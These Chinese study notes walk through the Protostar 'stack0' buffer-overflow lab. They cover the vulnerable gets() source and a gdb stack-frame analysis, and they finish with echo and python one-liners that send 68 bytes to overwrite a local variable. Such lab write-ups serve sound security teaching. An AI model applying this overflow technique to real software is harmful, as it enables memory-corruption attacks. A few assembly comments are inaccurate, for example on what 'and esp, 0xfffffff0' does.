0x08_缓冲区溢出_修改变量
源代码分析
- stack0源代码
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
man gets
查询gets
的使用文档gets
用于从输入中读取字符串- Bugs:
gets
无法得知读取的字符串长度,因此被用于破坏计算机安全。应使用fgets
作为替代
volatile
提醒编译器它后面所定义的变量随时都有可能改变,因此编译后的程序每次需要存储或读取这个变量的时候,都会直接从变量地址中读取数据。- 这里
volatile
的作用是避免编译器优化
- 这里
gdb分析
-
前置知识
- 栈帧概念:一个基本函数所需要的栈空间,当调用子函数时需要调用新的栈帧
- 栈指针esp: 指向当前栈帧的顶部。始终指向栈顶
- 基指针ebp: 指向当前栈帧的底部
- 指令指针eip: 指向当前栈帧中执行的指令(可以理解为读取esp地址中所对应的信息)
-
执行反汇编命令
gdb stack0
break *main
set disassembly-flavor intel
disassembly main
r
- 查看映射内存
- 可以看到栈从
bffeb000
跳转到c0000000
- 栈从底部开始增长,所以从最高地址开始
- 栈一般从
0xc0000 - 8
开始,即bfffff8
- 可以看到栈从
info proc mappings
x /wx $ebp # 以16进制显示指定地址处的数据
-
查看反汇编第一行命令
push ebp
- EBP 是一个用作基指针的寄存器,它指向某个栈的地址
- 推到栈的动作类似于保存(save)
-
查看反汇编最后一行命令
leave
- 等价于如下指令
mov esp, ebp pop ebp
- 等价于如下指令
-
第 2 行至第 5 行的汇编代码解析
mov ebp, esp ; ebp指向esp and esp, 0xfffffff0 ; 保留esp的后4bit sub esp, 0x60 ; esp-0x60,esp现在指向比ebp靠后的位置 mov DWORD PTR [esp+0x5c], 0x0 ; 内存位置移动0x0,与esp偏移量0x5c,这一步就是设置变量modified=0
-
↑上一步骤的动画解析(逐帧解释)
- 第 1 步,即将进入
main
函数,前面的指令入栈,esp指向栈顶 - 第 2 步,
call
指令调用main
函数,而call
指令会将 eip 的下一条指令(指向的地址为0xb7eadc76
)推到栈上,然后跳转到要调用的函数处。eip此时指向0xb7eadc73
- 第 3 步,eip 指向
0x080483f4
- 第 4 步,执行
push ebp
,ebp 入栈 - 第 5 步,执行
mov ebp, esp
,用 esp 覆盖 ebp - 第 6 步,执行
and esp, 0xfffffff0
和sub esp, 0x60
- 此时 ebp 和 esp 之间的区域称为栈帧,可以用来存储局部变量和计算
- ebp 下面的部分是前一个函数的栈帧,称为 main
- 第 7 步,
esp+0x5c
的值设置为 0x0- 实际上这确实是源代码中定义的变量
modified
,局部变量都在此栈帧中拥有空间
- 实际上这确实是源代码中定义的变量
- 第 8 步,执行
leave
,esp = ebp,这破坏了之前的栈帧 - 第 9 步,pop ebp,恢复前一个栈帧
- 第 10 步,将之前
call
指令指向的下一条指令弹出,回到原来的位置
- 第 1 步,即将进入
-
后面的代码解析
lea eax, [esp+0x1c] ; LEA(load effective address)类似于移动 ; 但不是移动内容偏移,而是将寄存器偏移的地址移入 ; 即:lea eax, [esp+0x1c] => eax=esp+0x1c mov DWORD PTR [esp], eax ; 将上面的地址放到栈顶。这被称为调用约定(calling convention) ; 程序和函数必须决定如何在汇编程序中传递函数参数 ; 在这种情况下,参数放在栈上 call 0x804830c <gets@plt> ; gets函数接收一个参数,该参数指向字符缓冲区 mov eax, DWORD PTR [esp+0x5c] ; 读取 `modified` ...
-
围绕
gets
的分析与利用del # 删除之前的断点 break *0x0804840c # 在调用 gets 的位置打断点 break *0x08048411 # 在 gets 调用结束后的位置打断点 define hook-stop # 定义一个钩子(hook) >info registers # 显示寄存器信息 >x/24wx $esp # 打印栈信息 >x/2i $eip # 打印断点后两条信息 >end # hook定义结尾 c # 继续执行 AAAAAAAAAAAAAAAAAAAAAAAAA # 输入溢出字符串
- 此时查看
$esp+0x5c
(即 modified)的值,发现未受到影响 - 根据计算,需要至少
4+4*4*3+4*3+4=68
个字符输入才能覆盖modified
r # 重新运行 c # 继续运行 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA # 溢出字符串,68个A
- 重新构造溢出字符串后影响到
modified
变量 - 不使用 gdb 的方法
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | /opt/protostar/bin/stack0 # Output:you have changed the 'modified' variable
- 使用 python 简化输入
python -c "print('A'*(4+4*4*3+4*3+4))" | /opt/protostar/bin/stack0 # Output:you have changed the 'modified' variable
- 此时查看